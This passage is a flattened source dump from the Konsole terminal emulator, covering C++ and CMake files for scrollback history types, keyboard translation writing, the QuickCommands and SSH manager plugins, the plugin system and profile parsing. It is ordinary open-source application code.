| void addCellsMove(Character a[], const int count) override; 37 | void addLine(const LineProperty lineProperty = LineProperty()) override; 38 | 39 | // Modify history (do nothing here) 40 | void removeCells() override; 41 | int reflowLines(const int, std::map * = nullptr) override; 42 | }; 43 | 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /src/history/HistoryType.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #include "HistoryType.h" 8 | 9 | using namespace Konsole; 10 | 11 | HistoryType::HistoryType() = default; 12 | 13 | HistoryType::~HistoryType() = default; 14 | 15 | bool HistoryType::isUnlimited() const 16 | { 17 | return maximumLineCount() == -1; 18 | } 19 | -------------------------------------------------------------------------------- /src/history/HistoryType.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef HISTORYTYPE_H 8 | #define HISTORYTYPE_H 9 | 10 | #include "HistoryScroll.h" 11 | #include "konsoleprivate_export.h" 12 | 13 | namespace Konsole 14 | { 15 | class KONSOLEPRIVATE_EXPORT HistoryType 16 | { 17 | public: 18 | HistoryType(); 19 | virtual ~HistoryType(); 20 | 21 | /** 22 | * Returns true if the history is enabled ( can store lines of output ) 23 | * or false otherwise. 24 | */ 25 | virtual bool isEnabled() const = 0; 26 | /** 27 | * Returns the maximum number of lines which this history type 28 | * can store or -1 if the history can store an unlimited number of lines. 29 | */ 30 | virtual int maximumLineCount() const = 0; 31 | /** 32 | * Converts from one type of HistoryScroll to another or if given the 33 | * same type, returns it. 34 | */ 35 | virtual void scroll(std::unique_ptr &) const = 0; 36 | /** 37 | * Returns true if the history size is unlimited. 38 | */ 39 | bool isUnlimited() const; 40 | }; 41 | 42 | } 43 | 44 | #endif 45 | -------------------------------------------------------------------------------- /src/history/HistoryTypeFile.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #include "HistoryTypeFile.h" 8 | #include "HistoryFile.h" 9 | #include "HistoryScrollFile.h" 10 | 11 | using namespace Konsole; 12 | 13 | // Reasonable line size 14 | static const int LINE_SIZE = 1024; 15 | 16 | HistoryTypeFile::HistoryTypeFile() = default; 17 | 18 | bool HistoryTypeFile::isEnabled() const 19 | { 20 | return true; 21 | } 22 | 23 | void HistoryTypeFile::scroll(std::unique_ptr &old) const 24 | { 25 | if (dynamic_cast(old.get()) != nullptr) { 26 | return; // Unchanged. 27 | } 28 | auto newScroll = std::make_unique(); 29 | 30 | Character line[LINE_SIZE]; 31 | int lines = (old != nullptr) ? old->getLines() : 0; 32 | for (int i = 0; i < lines; i++) { 33 | int size = old->getLineLen(i); 34 | if (size > LINE_SIZE) { 35 | auto tmp_line = std::make_unique(size); 36 | old->getCells(i, 0, size, tmp_line.get()); 37 | newScroll->addCells(tmp_line.get(), size); 38 | newScroll->addLine(old->getLineProperty(i)); 39 | } else { 40 | old->getCells(i, 0, size, line); 41 | newScroll->addCells(line, size); 42 | newScroll->addLine(old->getLineProperty(i)); 43 | } 44 | } 45 | 46 | old = std::move(newScroll); 47 | } 48 | 49 | int HistoryTypeFile::maximumLineCount() const 50 | { 51 | return -1; 52 | } 53 | -------------------------------------------------------------------------------- /src/history/HistoryTypeFile.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef HISTORYTYPEFILE_H 8 | #define HISTORYTYPEFILE_H 9 | 10 | #include "HistoryType.h" 11 | #include "konsoleprivate_export.h" 12 | 13 | namespace Konsole 14 | { 15 | class KONSOLEPRIVATE_EXPORT HistoryTypeFile : public HistoryType 16 | { 17 | public: 18 | explicit HistoryTypeFile(); 19 | 20 | bool isEnabled() const override; 21 | int maximumLineCount() const override; 22 | 23 | void scroll(std::unique_ptr &) const override; 24 | }; 25 | 26 | } 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /src/history/HistoryTypeNone.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #include "HistoryTypeNone.h" 8 | #include "HistoryScrollNone.h" 9 | 10 | using namespace Konsole; 11 | 12 | HistoryTypeNone::HistoryTypeNone() = default; 13 | 14 | bool HistoryTypeNone::isEnabled() const 15 | { 16 | return false; 17 | } 18 | 19 | void HistoryTypeNone::scroll(std::unique_ptr &old) const 20 | { 21 | old = std::make_unique(); 22 | } 23 | 24 | int HistoryTypeNone::maximumLineCount() const 25 | { 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /src/history/HistoryTypeNone.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef HISTORYTYPENONE_H 8 | #define HISTORYTYPENONE_H 9 | 10 | #include "HistoryType.h" 11 | #include "konsoleprivate_export.h" 12 | 13 | namespace Konsole 14 | { 15 | class KONSOLEPRIVATE_EXPORT HistoryTypeNone : public HistoryType 16 | { 17 | public: 18 | HistoryTypeNone(); 19 | 20 | bool isEnabled() const override; 21 | int maximumLineCount() const override; 22 | 23 | void scroll(std::unique_ptr &) const override; 24 | }; 25 | 26 | } 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /src/history/compact/CompactHistoryType.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef COMPACTHISTORYTYPE_H 8 | #define COMPACTHISTORYTYPE_H 9 | 10 | #include "history/HistoryType.h" 11 | #include "konsoleprivate_export.h" 12 | 13 | namespace Konsole 14 | { 15 | class KONSOLEPRIVATE_EXPORT CompactHistoryType : public HistoryType 16 | { 17 | public: 18 | explicit CompactHistoryType(unsigned int nbLines); 19 | 20 | bool isEnabled() const override; 21 | int maximumLineCount() const override; 22 | 23 | void scroll(std::unique_ptr &) const override; 24 | 25 | protected: 26 | unsigned int _maxLines; 27 | }; 28 | 29 | } 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /src/keyboardtranslator/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_library(keyboardtranslator 2 | STATIC 3 | KeyboardTranslatorManager.cpp 4 | KeyboardTranslatorWriter.cpp 5 | KeyboardTranslator.cpp 6 | KeyboardTranslatorReader.cpp 7 | ) 8 | # Needed to link this static lib to shared libs 9 | set_target_properties(keyboardtranslator PROPERTIES POSITION_INDEPENDENT_CODE ON) 10 | 11 | target_link_libraries( 12 | keyboardtranslator 13 | ${konsole_LIBS} 14 | ) 15 | 16 | -------------------------------------------------------------------------------- /src/keyboardtranslator/KeyboardTranslatorWriter.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | // Own 10 | #include "KeyboardTranslatorWriter.h" 11 | 12 | // Qt 13 | #include 14 | #include 15 | 16 | using namespace Konsole; 17 | 18 | KeyboardTranslatorWriter::KeyboardTranslatorWriter(QIODevice *destination) 19 | : _destination(destination) 20 | , _writer(nullptr) 21 | { 22 | Q_ASSERT(destination && destination->isWritable()); 23 | 24 | _writer = new QTextStream(_destination); 25 | } 26 | 27 | KeyboardTranslatorWriter::~KeyboardTranslatorWriter() 28 | { 29 | delete _writer; 30 | } 31 | 32 | void KeyboardTranslatorWriter::writeHeader(const QString &description) 33 | { 34 | *_writer << "keyboard \"" << description << '\"' << '\n'; 35 | } 36 | 37 | void KeyboardTranslatorWriter::writeEntry(const KeyboardTranslator::Entry &entry) 38 | { 39 | QString result; 40 | if (entry.command() != KeyboardTranslator::NoCommand) { 41 | result = entry.resultToString(); 42 | } else { 43 | result = QLatin1Char('\"') + entry.resultToString() + QLatin1Char('\"'); 44 | } 45 | 46 | *_writer << "key " << entry.conditionToString() << " : " << result << '\n'; 47 | } 48 | -------------------------------------------------------------------------------- /src/keyboardtranslator/KeyboardTranslatorWriter.h: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #ifndef KEYBOARDTRANSLATORWRITER_H 10 | #define KEYBOARDTRANSLATORWRITER_H 11 | 12 | #include "KeyboardTranslator.h" 13 | 14 | namespace Konsole 15 | { 16 | /** Writes a keyboard translation to disk. */ 17 | class KeyboardTranslatorWriter 18 | { 19 | public: 20 | /** 21 | * Constructs a new writer which saves data into @p destination. 22 | * The caller is responsible for closing the device when writing is complete. 23 | */ 24 | explicit KeyboardTranslatorWriter(QIODevice *destination); 25 | ~KeyboardTranslatorWriter(); 26 | 27 | KeyboardTranslatorWriter(const KeyboardTranslatorWriter &) = delete; 28 | KeyboardTranslatorWriter &operator=(const KeyboardTranslatorWriter &) = delete; 29 | 30 | /** 31 | * Writes the header for the keyboard translator. 32 | * @param description Description of the keyboard translator. 33 | */ 34 | void writeHeader(const QString &description); 35 | /** Writes a translator entry. */ 36 | void writeEntry(const KeyboardTranslator::Entry &entry); 37 | 38 | private: 39 | QIODevice *_destination; 40 | QTextStream *_writer; 41 | }; 42 | } 43 | 44 | #endif 45 | -------------------------------------------------------------------------------- /src/plugins/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | if(ENABLE_PLUGIN_SSHMANAGER) 2 | add_subdirectory(SSHManager) 3 | endif() 4 | if(ENABLE_PLUGIN_QUICKCOMMANDS) 5 | add_subdirectory(QuickCommands) 6 | endif() 7 | -------------------------------------------------------------------------------- /src/plugins/QuickCommands/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | ki18n_wrap_ui(EXTRA_QUICKCOMMANDSPLUGIN_SRCS qcwidget.ui) 3 | 4 | kcoreaddons_add_plugin(konsole_quickcommandsplugin 5 | SOURCES 6 | quickcommandsplugin.cpp 7 | quickcommandswidget.cpp 8 | quickcommandsmodel.cpp 9 | filtermodel.cpp 10 | ${EXTRA_QUICKCOMMANDSPLUGIN_SRCS} 11 | INSTALL_NAMESPACE 12 | "konsoleplugins" 13 | ) 14 | 15 | configure_file(konsole_quickcommands.in.json konsole_quickcommands.json) 16 | target_link_libraries(konsole_quickcommandsplugin 17 | konsoleprivate 18 | konsoleapp 19 | ) 20 | -------------------------------------------------------------------------------- /src/plugins/QuickCommands/filtermodel.cpp: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #include "filtermodel.h" 9 | 10 | FilterModel::FilterModel(QObject *parent) 11 | : QSortFilterProxyModel(parent) 12 | { 13 | } 14 | 15 | FilterModel::~FilterModel() = default; 16 | 17 | bool FilterModel::filterAcceptsRow(int sourceRow, const QModelIndex &sourceParent) const 18 | { 19 | auto text = filterRegularExpression().pattern(); 20 | if (text.isEmpty()) { 21 | return true; 22 | } 23 | 24 | const QModelIndex idx = sourceModel()->index(sourceRow, 0, sourceParent); 25 | if (sourceModel()->rowCount(idx) != 0) { 26 | return true; 27 | } 28 | 29 | bool result = idx.data(Qt::DisplayRole).toString().toLower().contains(text.toLower()); 30 | 31 | return m_invertFilter == false ? result : !result; 32 | } 33 | 34 | void FilterModel::setInvertFilter(bool invert) 35 | { 36 | m_invertFilter = invert; 37 | invalidateFilter(); 38 | } 39 | 40 | #include "moc_filtermodel.cpp" 41 | -------------------------------------------------------------------------------- /src/plugins/QuickCommands/filtermodel.h: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #pragma once 9 | 10 | #include 11 | 12 | class FilterModel : public QSortFilterProxyModel 13 | { 14 | Q_OBJECT 15 | public: 16 | explicit FilterModel(QObject *parent); 17 | ~FilterModel() override; 18 | bool filterAcceptsRow(int sourceRow, const QModelIndex &sourceParent) const override; 19 | void setInvertFilter(bool invert); 20 | 21 | private: 22 | bool m_invertFilter = false; 23 | }; 24 | -------------------------------------------------------------------------------- /src/plugins/QuickCommands/quickcommanddata.h: -------------------------------------------------------------------------------- 1 | // This file was part of the KDE libraries 2 | // SPDX-FileCopyrightText: 2022 Tao Guo 3 | // SPDX-License-Identifier: GPL-2.0-or-later 4 | 5 | #ifndef QUICKCOMMANDDATA_H 6 | #define QUICKCOMMANDDATA_H 7 | 8 | #include 9 | 10 | class QuickCommandData 11 | { 12 | public: 13 | QString name; 14 | QString tooltip; 15 | QString command; 16 | }; 17 | 18 | Q_DECLARE_METATYPE(QuickCommandData) 19 | 20 | #endif // QUICKCOMMANDDATA_H 21 | -------------------------------------------------------------------------------- /src/plugins/QuickCommands/quickcommandsmodel.h: -------------------------------------------------------------------------------- 1 | // This file was part of the KDE libraries 2 | // SPDX-FileCopyrightText: 2022 Tao Guo 3 | // SPDX-License-Identifier: GPL-2.0-or-later 4 | 5 | #ifndef QUICKCOMMANDSMODEL_H 6 | #define QUICKCOMMANDSMODEL_H 7 | 8 | #include 9 | 10 | class QuickCommandData; 11 | 12 | class QuickCommandsModel : public QStandardItemModel 13 | { 14 | Q_OBJECT 15 | public: 16 | enum Roles { QuickCommandRole = Qt::UserRole + 1 }; 17 | explicit QuickCommandsModel(QObject *parent = nullptr); 18 | ~QuickCommandsModel() override; 19 | 20 | QStringList groups() const; 21 | bool addChildItem(const QuickCommandData &data, const QString &groupName); 22 | bool editChildItem(const QuickCommandData &data, const QModelIndex &idx, const QString &groupName); 23 | 24 | private: 25 | void load(); 26 | void save(); 27 | void updateItem(QStandardItem *item, const QuickCommandData &data); 28 | QStandardItem *addTopLevelItem(const QString &groupName); 29 | }; 30 | 31 | #endif // QUICKCOMMANDSMODEL_H 32 | -------------------------------------------------------------------------------- /src/plugins/QuickCommands/quickcommandsplugin.h: -------------------------------------------------------------------------------- 1 | // This file was part of the KDE libraries 2 | // SPDX-FileCopyrightText: 2022 Tao Guo 3 | // SPDX-License-Identifier: GPL-2.0-or-later 4 | 5 | #ifndef QUICKCOMMANDSPLUGIN_H 6 | #define QUICKCOMMANDSPLUGIN_H 7 | 8 | #include 9 | 10 | namespace Konsole 11 | { 12 | class SessionController; 13 | class MainWindow; 14 | } 15 | 16 | class QuickCommandsPlugin : public Konsole::IKonsolePlugin 17 | { 18 | Q_OBJECT 19 | 20 | public: 21 | QuickCommandsPlugin(QObject *object, const QVariantList &args); 22 | ~QuickCommandsPlugin() override; 23 | 24 | void createWidgetsForMainWindow(Konsole::MainWindow *mainWindow) override; 25 | void activeViewChanged(Konsole::SessionController *controller, Konsole::MainWindow *mainWindow) override; 26 | QList menuBarActions(Konsole::MainWindow *mainWindow) const override; 27 | 28 | private: 29 | struct Private; 30 | std::unique_ptr priv; 31 | }; 32 | 33 | #endif // QUICKCOMMANDSPLUGIN_H 34 | -------------------------------------------------------------------------------- /src/plugins/SSHManager/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | ki18n_wrap_ui(extra_sshplugin_SRCS sshwidget.ui) 3 | 4 | ecm_qt_declare_logging_category( 5 | extra_sshplugin_SRCS 6 | HEADER sshmanagerplugindebug.h 7 | IDENTIFIER SshManagerPluginDebug 8 | CATEGORY_NAME org.kde.konsole.plugin.sshmanager 9 | DESCRIPTION "Konsole plugin (SSH Manager)" 10 | DEFAULT_SEVERITY Warning 11 | EXPORT KONSOLE 12 | ) 13 | 14 | kcoreaddons_add_plugin(konsole_sshmanagerplugin 15 | SOURCES 16 | sshmanagerplugin.cpp 17 | sshmanagerpluginwidget.cpp 18 | sshmanagermodel.cpp 19 | sshmanagerfiltermodel.cpp 20 | sshtreeview.cpp 21 | ${extra_sshplugin_SRCS} 22 | INSTALL_NAMESPACE 23 | "konsoleplugins" 24 | ) 25 | 26 | configure_file(konsole_sshmanager.in.json konsole_sshmanager.json) 27 | target_link_libraries(konsole_sshmanagerplugin 28 | konsoleprivate 29 | konsoleapp 30 | ) 31 | -------------------------------------------------------------------------------- /src/plugins/SSHManager/sshconfigurationdata.h: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef SSHCONFIGURATIONDATA_H 9 | #define SSHCONFIGURATIONDATA_H 10 | 11 | #include 12 | 13 | class SSHConfigurationData 14 | { 15 | public: 16 | QString name; 17 | QString host; 18 | QString port; 19 | QString sshKey; 20 | QString username; 21 | QString profileName; 22 | bool useSshConfig = false; 23 | bool importedFromSshConfig = false; 24 | }; 25 | 26 | Q_DECLARE_METATYPE(SSHConfigurationData) 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /src/plugins/SSHManager/sshmanagerfiltermodel.cpp: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #include "sshmanagerfiltermodel.h" 9 | 10 | SSHManagerFilterModel::SSHManagerFilterModel(QObject *parent) 11 | : QSortFilterProxyModel(parent) 12 | { 13 | } 14 | 15 | bool SSHManagerFilterModel::filterAcceptsRow(int sourceRow, const QModelIndex &sourceParent) const 16 | { 17 | auto text = filterRegularExpression().pattern(); 18 | if (text.isEmpty()) { 19 | return true; 20 | } 21 | 22 | const QModelIndex idx = sourceModel()->index(sourceRow, 0, sourceParent); 23 | if (sourceModel()->rowCount(idx) != 0) { 24 | return true; 25 | } 26 | 27 | bool result = idx.data(Qt::DisplayRole).toString().toLower().contains(text.toLower()); 28 | 29 | return m_invertFilter == false ? result : !result; 30 | } 31 | 32 | void SSHManagerFilterModel::setInvertFilter(bool invert) 33 | { 34 | m_invertFilter = invert; 35 | invalidateFilter(); 36 | } 37 | 38 | #include "moc_sshmanagerfiltermodel.cpp" 39 | -------------------------------------------------------------------------------- /src/plugins/SSHManager/sshmanagerfiltermodel.h: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef SSHMANAGERFILTERMODEL_H 9 | #define SSHMANAGERFILTERMODEL_H 10 | 11 | #include 12 | 13 | class SSHManagerFilterModel : public QSortFilterProxyModel 14 | { 15 | Q_OBJECT 16 | public: 17 | explicit SSHManagerFilterModel(QObject *parent); 18 | bool filterAcceptsRow(int sourceRow, const QModelIndex &sourceParent) const override; 19 | void setInvertFilter(bool invert); 20 | 21 | private: 22 | bool m_invertFilter = false; 23 | }; 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /src/plugins/SSHManager/sshmanagerplugin.h: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef SSHMANAGERPLUGIN_H 9 | #define SSHMANAGERPLUGIN_H 10 | 11 | #include 12 | 13 | #include 14 | 15 | namespace Konsole 16 | { 17 | class SessionController; 18 | class MainWindow; 19 | } 20 | 21 | class QSortFilterProxyModel; 22 | class QStandardItemModel; 23 | 24 | struct SSHManagerPluginPrivate; 25 | 26 | class SSHManagerPlugin : public Konsole::IKonsolePlugin 27 | { 28 | Q_OBJECT 29 | public: 30 | SSHManagerPlugin(QObject *object, const QVariantList &args); 31 | ~SSHManagerPlugin() override; 32 | 33 | void createWidgetsForMainWindow(Konsole::MainWindow *mainWindow) override; 34 | void activeViewChanged(Konsole::SessionController *controller, Konsole::MainWindow *mainWindow) override; 35 | QList menuBarActions(Konsole::MainWindow *mainWindow) const override; 36 | 37 | static void 38 | requestConnection(QSortFilterProxyModel *filterModel, QStandardItemModel *model, Konsole::SessionController *controller, const QModelIndex &idx); 39 | 40 | private: 41 | std::unique_ptr d; 42 | }; 43 | 44 | #endif 45 | -------------------------------------------------------------------------------- /src/plugins/SSHManager/sshtreeview.cpp: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #include "sshtreeview.h" 9 | 10 | #include 11 | 12 | SshTreeView::SshTreeView(QWidget *parent) 13 | : QTreeView(parent) 14 | { 15 | } 16 | 17 | SshTreeView::~SshTreeView() noexcept = default; 18 | 19 | void SshTreeView::mouseReleaseEvent(QMouseEvent *ev) 20 | { 21 | const QModelIndex idxAt = indexAt(ev->pos()); 22 | if (idxAt.isValid()) { 23 | Q_EMIT mouseButtonClicked(ev->button(), idxAt); 24 | } 25 | } 26 | 27 | #include "moc_sshtreeview.cpp" 28 | -------------------------------------------------------------------------------- /src/plugins/SSHManager/sshtreeview.h: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef SSHTREEVIEW_H 9 | #define SSHTREEVIEW_H 10 | 11 | #include 12 | 13 | class SshTreeView : public QTreeView 14 | { 15 | Q_OBJECT 16 | public: 17 | explicit SshTreeView(QWidget *parent = nullptr); 18 | ~SshTreeView() noexcept override; 19 | 20 | // mouseClicked already exists but only sends QModelIndex 21 | Q_SIGNAL void mouseButtonClicked(Qt::MouseButton button, const QModelIndex &idx); 22 | void mouseReleaseEvent(QMouseEvent *ev) override; 23 | }; 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /src/pluginsystem/CMakeLists.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/src/pluginsystem/CMakeLists.txt -------------------------------------------------------------------------------- /src/pluginsystem/IKonsolePlugin.cpp: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #include "IKonsolePlugin.h" 9 | 10 | #include "MainWindow.h" 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | struct IKonsolePlugin::Private { 16 | QString name; 17 | QList mainWindowList; 18 | }; 19 | 20 | IKonsolePlugin::IKonsolePlugin(QObject *parent, const QVariantList &args) 21 | : d(std::make_unique()) 22 | { 23 | Q_UNUSED(parent) 24 | Q_UNUSED(args) 25 | } 26 | 27 | IKonsolePlugin::~IKonsolePlugin() = default; 28 | 29 | void IKonsolePlugin::setName(const QString &name) 30 | { 31 | d->name = name; 32 | } 33 | 34 | QString IKonsolePlugin::name() const 35 | { 36 | return d->name; 37 | } 38 | 39 | void IKonsolePlugin::addMainWindow(Konsole::MainWindow *mainWindow) 40 | { 41 | d->mainWindowList.append(mainWindow); 42 | createWidgetsForMainWindow(mainWindow); 43 | } 44 | 45 | void IKonsolePlugin::removeMainWindow(Konsole::MainWindow *mainWindow) 46 | { 47 | d->mainWindowList.removeOne(mainWindow); 48 | } 49 | 50 | } 51 | 52 | #include "moc_IKonsolePlugin.cpp" 53 | -------------------------------------------------------------------------------- /src/pluginsystem/IKonsolePlugin.h: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef IKONSOLEPLUGIN_H 9 | #define IKONSOLEPLUGIN_H 10 | 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | #include 17 | 18 | #include 19 | 20 | #include "konsoleapp_export.h" 21 | 22 | namespace Konsole 23 | { 24 | class MainWindow; 25 | 26 | class KONSOLEAPP_EXPORT IKonsolePlugin : public QObject 27 | { 28 | Q_OBJECT 29 | public: 30 | IKonsolePlugin(QObject *parent, const QVariantList &args); 31 | ~IKonsolePlugin() override; 32 | 33 | QString name() const; 34 | 35 | // Usable only from PluginManager, please don't use. 36 | void addMainWindow(Konsole::MainWindow *mainWindow); 37 | void removeMainWindow(Konsole::MainWindow *mainWindow); 38 | 39 | virtual void createWidgetsForMainWindow(Konsole::MainWindow *mainWindow) = 0; 40 | virtual void activeViewChanged(Konsole::SessionController *controller, Konsole::MainWindow *mainWindow) = 0; 41 | 42 | virtual QList menuBarActions(Konsole::MainWindow *mainWindow) const 43 | { 44 | Q_UNUSED(mainWindow) 45 | return {}; 46 | } 47 | 48 | protected: 49 | void setName(const QString &pluginName); 50 | 51 | private: 52 | struct Private; 53 | std::unique_ptr d; 54 | }; 55 | 56 | } 57 | #endif 58 | -------------------------------------------------------------------------------- /src/pluginsystem/PluginManager.h: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2021 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef PLUGINMANAGER_H 9 | #define PLUGINMANAGER_H 10 | 11 | #include 12 | 13 | #include "konsoleapp_export.h" 14 | #include 15 | 16 | namespace Konsole 17 | { 18 | class IKonsolePlugin; 19 | class MainWindow; 20 | 21 | struct PluginManagerPrivate; 22 | 23 | class KONSOLEAPP_EXPORT PluginManager : public QObject 24 | { 25 | Q_OBJECT 26 | public: 27 | PluginManager(); 28 | ~PluginManager() override; 29 | void loadAllPlugins(); 30 | void registerMainWindow(Konsole::MainWindow *window); 31 | 32 | std::vector plugins() const; 33 | 34 | private: 35 | std::unique_ptr d; 36 | }; 37 | 38 | } 39 | #endif 40 | -------------------------------------------------------------------------------- /src/profile/ProfileCommandParser.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | // Own 10 | #include "ProfileCommandParser.h" 11 | 12 | // Konsole 13 | 14 | // Qt 15 | #include 16 | 17 | using namespace Konsole; 18 | 19 | Profile::PropertyMap ProfileCommandParser::parse(const QString &input) 20 | { 21 | Profile::PropertyMap changes; 22 | 23 | // regular expression to parse profile change requests. 24 | // 25 | // format: property=value;property=value ... 26 | // 27 | // where 'property' is a word consisting only of characters from A-Z 28 | // where 'value' is any sequence of characters other than a semi-colon 29 | // 30 | static const QRegularExpression regExp(QStringLiteral("([a-zA-Z]+)=([^;]+)")); 31 | 32 | QRegularExpressionMatchIterator iterator(regExp.globalMatch(input)); 33 | while (iterator.hasNext()) { 34 | QRegularExpressionMatch match(iterator.next()); 35 | Profile::Property property = Profile::lookupByName(match.captured(1)); 36 | changes.insert_or_assign(property, match.captured(2)); 37 | } 38 | 39 | return changes; 40 | } 41 | -------------------------------------------------------------------------------- /src/profile/ProfileCommandParser.h: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #ifndef PROFILECOMMANDPARSER_H 10 | #define PROFILECOMMANDPARSER_H 11 | 12 | // Konsole 13 | #include "Profile.h" 14 | 15 | class QVariant; 16 | template 17 | class QHash; 18 | 19 | namespace Konsole 20 | { 21 | /** 22 | * Parses an input string consisting of property names 23 | * and assigned values and returns a table of properties 24 | * and values. 25 | * 26 | * The input string will typically look like this: 27 | * 28 | * @code 29 | * PropertyName=Value;PropertyName=Value ... 30 | * @endcode 31 | * 32 | * For example: 33 | * 34 | * @code 35 | * Icon=konsole;Directory=/home/bob 36 | * @endcode 37 | */ 38 | class KONSOLEPRIVATE_EXPORT ProfileCommandParser 39 | { 40 | public: 41 | /** 42 | * Parses an input string consisting of property names 43 | * and assigned values and returns a table of 44 | * properties and values. 45 | */ 46 | Profile::PropertyMap parse(const QString &input); 47 | }; 48 | } 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /src/profile/ProfileReader.h: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #ifndef PROFILEREADER_H 10 | #define PROFILEREADER_H 11 | 12 | #include "Profile.h" 13 | 14 | class KConfig; 15 | 16 | namespace Konsole 17 | { 18 | /** Interface for all classes which can load profile settings from a file. */ 19 | class KONSOLEPRIVATE_EXPORT ProfileReader 20 | { 21 | public: 22 | ProfileReader(); 23 | ~ProfileReader(); 24 | 25 | /** Returns a list of paths to profiles which this reader can read. */ 26 | QStringList findProfiles(); 27 | 28 | /** 29 | * Attempts to read a profile from @p path and 30 | * save the property values described into 